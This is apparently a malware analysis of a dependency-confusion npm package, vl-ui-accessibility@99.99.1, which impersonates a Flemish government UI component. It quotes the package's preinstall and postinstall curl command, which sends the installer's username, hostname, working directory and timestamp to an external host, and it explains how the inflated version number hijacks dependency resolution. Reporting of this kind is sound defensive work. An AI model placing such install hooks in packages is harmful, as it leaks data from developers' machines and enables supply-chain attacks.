vl-ui-accessibility@99.99.1

Analysis

Dependency-confusion package impersonating the vl-ui-accessibility Flemish government UI component. On install, both the preinstall and postinstall lifecycle hooks execute: curl -s "hxxps://178fx66q[.]instances[.]httpworkbench[.]com/depconf/vl-ui-accessibility/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" sending the installer's username, hostname, working directory, and timestamp to an external httpworkbench instance (178fx66q[.]instances[.]httpworkbench[.]com). The package contains no real functionality — index.js is a single comment line. The version 99.99.1 is intended to win version resolution in dependency-confusion scenarios against the legitimate vl-ui-accessibility package.